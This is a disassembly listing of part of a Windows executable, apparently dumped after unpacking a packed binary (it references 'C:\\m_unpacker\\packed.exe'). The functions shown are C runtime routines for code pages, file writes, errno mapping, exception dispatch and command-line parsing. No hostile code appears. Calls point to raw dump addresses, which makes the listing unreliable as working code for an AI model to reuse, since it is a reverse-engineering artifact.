		sub	eax, 0Dh
		jz	short loc_41EB31
		dec	eax
		jz	short loc_41EB2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41EB2B:				; CODE XREF: sub_41EB10+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41EB31:				; CODE XREF: sub_41EB10+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41EB37:				; CODE XREF: sub_41EB10+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41EB3D:				; CODE XREF: sub_41EB10+9j
		mov	eax, 411h
		retn
sub_41EB10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EB43	proc near		; CODE XREF: sub_41E92D:loc_41EAB0p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_48B560
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_48B450
		mov	dword_48B444, eax
		mov	dword_48B45C, eax
		mov	dword_48B664, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41EB43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB6C	proc near		; CODE XREF: sub_41E92D:loc_41EAB5p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_48B444
		nop
		call	near ptr 2881391h
		cmp	eax, 1
		jnz	loc_41ECA5
		xor	eax, eax
		mov	esi, 100h


loc_41EB96:				; CODE XREF: sub_41EB6C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41EB96
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41EBE7
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41EBB5:				; CODE XREF: sub_41EB6C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41EBDC
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41EBDC:				; CODE XREF: sub_41EB6C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41EBB5
		pop	edi
		pop	ebx


loc_41EBE7:				; CODE XREF: sub_41EB6C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_48B664
		push	dword_48B444
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41FB63
		push	0
		lea	eax, [ebp+var_214]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_48B664
		call	sub_41E709
		push	0
		lea	eax, [ebp+var_314]
		push	dword_48B444
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_48B664
		call	sub_41E709
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41EC62:				; CODE XREF: sub_41EB6C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41EC80
		or	byte_48B561[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41EC78:				; CODE XREF: sub_41EB6C+127j
		mov	byte_48B460[eax], dl
		jmp	short loc_41EC9C
; ---------------------------------------------------------------------------


loc_41EC80:				; CODE XREF: sub_41EB6C+FCj
		test	dl, 2
		jz	short loc_41EC95
		or	byte_48B561[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41EC78
; ---------------------------------------------------------------------------


loc_41EC95:				; CODE XREF: sub_41EB6C+117j
		and	byte_48B460[eax], 0


loc_41EC9C:				; CODE XREF: sub_41EB6C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41EC62
		jmp	short loc_41ECEE
; ---------------------------------------------------------------------------


loc_41ECA5:				; CODE XREF: sub_41EB6C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41ECAC:				; CODE XREF: sub_41EB6C+180j
		cmp	eax, 41h
		jb	short loc_41ECCA
		cmp	eax, 5Ah
		ja	short loc_41ECCA
		or	byte_48B561[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41ECC2:				; CODE XREF: sub_41EB6C+174j
		mov	byte_48B460[eax], cl
		jmp	short loc_41ECE9
; ---------------------------------------------------------------------------


loc_41ECCA:				; CODE XREF: sub_41EB6C+143j
					; sub_41EB6C+148j
		cmp	eax, 61h
		jb	short loc_41ECE2
		cmp	eax, 7Ah
		ja	short loc_41ECE2
		or	byte_48B561[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41ECC2
; ---------------------------------------------------------------------------


loc_41ECE2:				; CODE XREF: sub_41EB6C+161j
					; sub_41EB6C+166j
		and	byte_48B460[eax], 0


loc_41ECE9:				; CODE XREF: sub_41EB6C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41ECAC


loc_41ECEE:				; CODE XREF: sub_41EB6C+137j
		pop	esi
		leave
		retn
sub_41EB6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ECF1	proc near		; CODE XREF: ___:0041F138p
					; ___:0041F194p ...
		cmp	dword_48B694, 0
		jnz	short locret_41ED0C
		push	0FFFFFFFDh
		call	sub_41E92D
		pop	ecx
		mov	dword_48B694, 1

locret_41ED0C:				; CODE XREF: sub_41ECF1+7j
		retn
sub_41ECF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED0D	proc near		; CODE XREF: sub_4192B8+2Bp
					; sub_4192B8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_48B45C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41ED31
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_418C10
		add	esp, 0Ch
		jmp	short loc_41ED94
; ---------------------------------------------------------------------------


loc_41ED31:				; CODE XREF: sub_41ED0D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41ED76
		mov	ecx, [ebp+arg_4]


loc_41ED3C:				; CODE XREF: sub_41ED0D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_48B561[esi], 4
		mov	[edi], al
		jz	short loc_41ED60
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41ED6C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED72
		jmp	short loc_41ED66
; ---------------------------------------------------------------------------


loc_41ED60:				; CODE XREF: sub_41ED0D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41ED76


loc_41ED66:				; CODE XREF: sub_41ED0D+51j
		test	edx, edx
		jnz	short loc_41ED3C
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED6C:				; CODE XREF: sub_41ED0D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41ED76
; ---------------------------------------------------------------------------


loc_41ED72:				; CODE XREF: sub_41ED0D+4Fj
		and	byte ptr [edi-2], 0


loc_41ED76:				; CODE XREF: sub_41ED0D+2Aj
					; sub_41ED0D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41ED91
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41ED91:				; CODE XREF: sub_41ED0D+6Fj
		mov	eax, [ebp+arg_0]


loc_41ED94:				; CODE XREF: sub_41ED0D+22j
		pop	edi
		pop	ebp
		retn
sub_41ED0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED97	proc near		; CODE XREF: sub_4196EF+A2p
					; sub_419D23+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_48B440
		push	esi
		push	edi
		jnb	loc_41EF2B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41EF2B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41EDE8


loc_41EDE1:				; CODE XREF: sub_41ED97+177j
		xor	eax, eax
		jmp	loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EDE8:				; CODE XREF: sub_41ED97+48j
		test	al, 20h
		jz	short loc_41EDF8
		push	2
		push	edi
		push	ecx
		call	sub_41E517
		add	esp, 0Ch


loc_41EDF8:				; CODE XREF: sub_41ED97+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41EEC7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41EEFF


loc_41EE18:				; CODE XREF: sub_41ED97+F5j
		lea	eax, [ebp+var_414]


loc_41EE1E:				; CODE XREF: sub_41ED97+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41EE52
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41EE3D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41EE3D:				; CODE XREF: sub_41ED97+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41EE1E


loc_41EE52:				; CODE XREF: sub_41ED97+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEBC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41EE8E
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41EE18


loc_41EE8E:				; CODE XREF: sub_41ED97+EAj
					; sub_41ED97+12Ej
		xor	edi, edi


loc_41EE90:				; CODE XREF: sub_41ED97+150j
					; sub_41ED97+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41EF26
		cmp	[ebp+arg_0], edi
		jz	short loc_41EEFF
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41EEF4
		mov	dword_48A014, 9
		mov	dword_48A018, eax
		jmp	loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEBC:				; CODE XREF: sub_41ED97+E0j
		nop
		call	near ptr 2650BAEh
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE8E
; ---------------------------------------------------------------------------


loc_41EEC7:				; CODE XREF: sub_41ED97+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41EEE9
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEE9:				; CODE XREF: sub_41ED97+145j
		nop
		call	near ptr 2650BAEh
		mov	[ebp+arg_0], eax
		jmp	short loc_41EE90
; ---------------------------------------------------------------------------


loc_41EEF4:				; CODE XREF: sub_41ED97+10Fj
		push	[ebp+arg_0]
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EEFF:				; CODE XREF: sub_41ED97+7Bj
					; sub_41ED97+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41EF14
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41EDE1


loc_41EF14:				; CODE XREF: sub_41ED97+16Fj
		mov	dword_48A014, 1Ch
		mov	dword_48A018, edi
		jmp	short loc_41EF3C
; ---------------------------------------------------------------------------


loc_41EF26:				; CODE XREF: sub_41ED97+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41EF3F
; ---------------------------------------------------------------------------


loc_41EF2B:				; CODE XREF: sub_41ED97+15j
					; sub_41ED97+37j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41EF3C:				; CODE XREF: sub_41ED97+120j
					; sub_41ED97+166j ...
		or	eax, 0FFFFFFFFh


loc_41EF3F:				; CODE XREF: sub_41ED97+4Cj
					; sub_41ED97+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED97	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EF44	proc near		; CODE XREF: sub_4197F9+16p
					; sub_419BBA+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_48A018, ecx
		mov	eax, offset dword_43BA30


loc_41EF55:				; CODE XREF: sub_41EF44+1Ej
		cmp	ecx, [eax]
		jz	short loc_41EF79
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BB98
		jl	short loc_41EF55
		cmp	ecx, 13h
		jb	short loc_41EF86
		cmp	ecx, 24h
		ja	short loc_41EF86
		mov	dword_48A014, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41EF79:				; CODE XREF: sub_41EF44+13j
		mov	eax, dword_43BA34[edx*8]
		mov	dword_48A014, eax
		retn
; ---------------------------------------------------------------------------


loc_41EF86:				; CODE XREF: sub_41EF44+23j
					; sub_41EF44+28j
		cmp	ecx, 0BCh
		jb	short loc_41EFA0
		cmp	ecx, 0CAh
		mov	dword_48A014, 8
		jbe	short locret_41EFAA


loc_41EFA0:				; CODE XREF: sub_41EF44+48j
		mov	dword_48A014, 16h

locret_41EFAA:				; CODE XREF: sub_41EF44+5Aj
		retn
sub_41EF44	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_41F0EC
		test	eax, eax
		pop	ecx
		jz	loc_41F0E0
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41F0E0
		cmp	ebx, 5
		jnz	short loc_41EFDC
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41F0E9
; ---------------------------------------------------------------------------


loc_41EFDC:				; CODE XREF: ___:0041EFCEj
		cmp	ebx, 1
		jz	loc_41F0DB
		mov	ecx, dword_48A0C8
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_48A0C8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41F0CB
		mov	ecx, dword_43BC10
		mov	edx, dword_43BC14
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41F02B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43BBA0h[esi*4]


loc_41F022:				; CODE XREF: ___:0041F029j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41F022


loc_41F02B:				; CODE XREF: ___:0041F014j
		mov	eax, [eax]
		mov	esi, dword_43BC1C
		cmp	eax, 0C000008Eh
		jnz	short loc_41F046
		mov	dword_43BC1C, 83h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: ___:0041F038j
		cmp	eax, 0C0000090h
		jnz	short loc_41F059
		mov	dword_43BC1C, 81h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F059:				; CODE XREF: ___:0041F04Bj
		cmp	eax, 0C0000091h
		jnz	short loc_41F06C
		mov	dword_43BC1C, 84h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F06C:				; CODE XREF: ___:0041F05Ej
		cmp	eax, 0C0000093h
		jnz	short loc_41F07F
		mov	dword_43BC1C, 85h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F07F:				; CODE XREF: ___:0041F071j
		cmp	eax, 0C000008Dh
		jnz	short loc_41F092
		mov	dword_43BC1C, 82h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F092:				; CODE XREF: ___:0041F084j
		cmp	eax, 0C000008Fh
		jnz	short loc_41F0A5
		mov	dword_43BC1C, 86h
		jmp	short loc_41F0B6
; ---------------------------------------------------------------------------


loc_41F0A5:				; CODE XREF: ___:0041F097j
		cmp	eax, 0C0000092h
		jnz	short loc_41F0B6
		mov	dword_43BC1C, 8Ah


loc_41F0B6:				; CODE XREF: ___:0041F044j
					; ___:0041F057j ...
		push	dword_43BC1C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43BC1C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41F0D3
; ---------------------------------------------------------------------------


loc_41F0CB:				; CODE XREF: ___:0041EFFDj
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41F0D3:				; CODE XREF: ___:0041F0C9j
		mov	eax, [ebp+8]
		mov	dword_48A0C8, eax


loc_41F0DB:				; CODE XREF: ___:0041EFDFj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F0E9
; ---------------------------------------------------------------------------


loc_41F0E0:				; CODE XREF: ___:0041EFBAj
					; ___:0041EFC5j
		push	dword ptr [ebp+0Ch]
		call	near ptr 25F0000h
		nop


loc_41F0E9:				; CODE XREF: ___:0041EFD7j
					; ___:0041F0DEj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41F0EC	proc near		; CODE XREF: ___:0041EFB2p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43BC18
		cmp	dword_43BB98, edx
		push	esi
		mov	eax, offset dword_43BB98
		jz	short loc_41F119
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43BB98h[esi*4]


loc_41F10E:				; CODE XREF: sub_41F0EC+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41F119
		cmp	[eax], edx
		jnz	short loc_41F10E


loc_41F119:				; CODE XREF: sub_41F0EC+16j
					; sub_41F0EC+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43BB98h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41F12C
		cmp	[eax], edx
		jz	short locret_41F12E


loc_41F12C:				; CODE XREF: sub_41F0EC+3Aj
		xor	eax, eax

locret_41F12E:				; CODE XREF: sub_41F0EC+3Ej
		retn
sub_41F0EC	endp

; ---------------------------------------------------------------------------
		cmp	dword_48B694, 0
		jnz	short loc_41F13D
		call	sub_41ECF1


loc_41F13D:				; CODE XREF: ___:0041F136j
		push	esi
		mov	esi, dword_48B68C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41F16F


loc_41F14A:				; CODE XREF: ___:0041F162j
					; ___:0041F165j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41F167
		test	al, al
		jz	short loc_41F167
		movzx	eax, al
		push	eax
		call	sub_42101D
		test	eax, eax
		pop	ecx
		jz	short loc_41F14A
		inc	esi
		jmp	short loc_41F14A
; ---------------------------------------------------------------------------


loc_41F167:				; CODE XREF: ___:0041F150j
					; ___:0041F154j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41F179


loc_41F16C:				; CODE XREF: ___:0041F181j
		inc	esi
		jmp	short loc_41F179
; ---------------------------------------------------------------------------


loc_41F16F:				; CODE XREF: ___:0041F148j
		cmp	al, 20h
		jbe	short loc_41F179


loc_41F173:				; CODE XREF: ___:0041F177j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41F173


loc_41F179:				; CODE XREF: ___:0041F16Aj
					; ___:0041F16Dj ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41F183
		cmp	al, 20h
		jbe	short loc_41F16C


loc_41F183:				; CODE XREF: ___:0041F17Dj
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F199
		call	sub_41ECF1


loc_41F199:				; CODE XREF: ___:0041F192j
		mov	esi, dword_48A060
		xor	edi, edi


loc_41F1A1:				; CODE XREF: ___:0041F1B7j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41F1B9
		cmp	al, 3Dh
		jz	short loc_41F1AC
		inc	edi


loc_41F1AC:				; CODE XREF: ___:0041F1A9j
		push	esi
		call	sub_417AB0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41F1A1
; ---------------------------------------------------------------------------


loc_41F1B9:				; CODE XREF: ___:0041F1A5j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_48A03C, esi
		jnz	short loc_41F1DB
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F1DB:				; CODE XREF: ___:0041F1D1j
		mov	edi, dword_48A060
		cmp	[edi], bl
		jz	short loc_41F21E
		push	ebp


loc_41F1E6:				; CODE XREF: ___:0041F21Bj
		push	edi
		call	sub_417AB0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41F217
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41F20A
		push	9
		call	sub_419CDA
		pop	ecx


loc_41F20A:				; CODE XREF: ___:0041F200j
		push	edi
		push	dword ptr [esi]
		call	sub_4179C0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41F217:				; CODE XREF: ___:0041F1F3j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41F1E6
		pop	ebp


loc_41F21E:				; CODE XREF: ___:0041F1E3j
		push	dword_48A060
		call	sub_417C3B
		pop	ecx
		mov	dword_48A060, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_48B690, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_48B694, ebx
		push	esi
		push	edi
		jnz	short loc_41F257
		call	sub_41ECF1


loc_41F257:				; CODE XREF: ___:0041F250j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		mov	eax, dword_48B68C
		mov	off_48A04C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41F27C
		mov	edi, eax


loc_41F27C:				; CODE XREF: ___:0041F278j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_417B89
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41F2AC
		push	8
		call	sub_419CDA
		pop	ecx


loc_41F2AC:				; CODE XREF: ___:0041F2A2j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41F2D9
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_48A034, esi
		pop	edi
		pop	esi
		mov	dword_48A030, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F2D9	proc near		; CODE XREF: ___:0041F287p
					; ___:0041F2BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41F303
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F303:				; CODE XREF: sub_41F2D9+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F34C


loc_41F308:				; CODE XREF: sub_41F2D9+58j
					; sub_41F2D9+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------


loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi


loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax


loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C


loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387


loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------


loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0


loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0


loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C


loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB


loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------


loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------


loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------


loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi


loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1


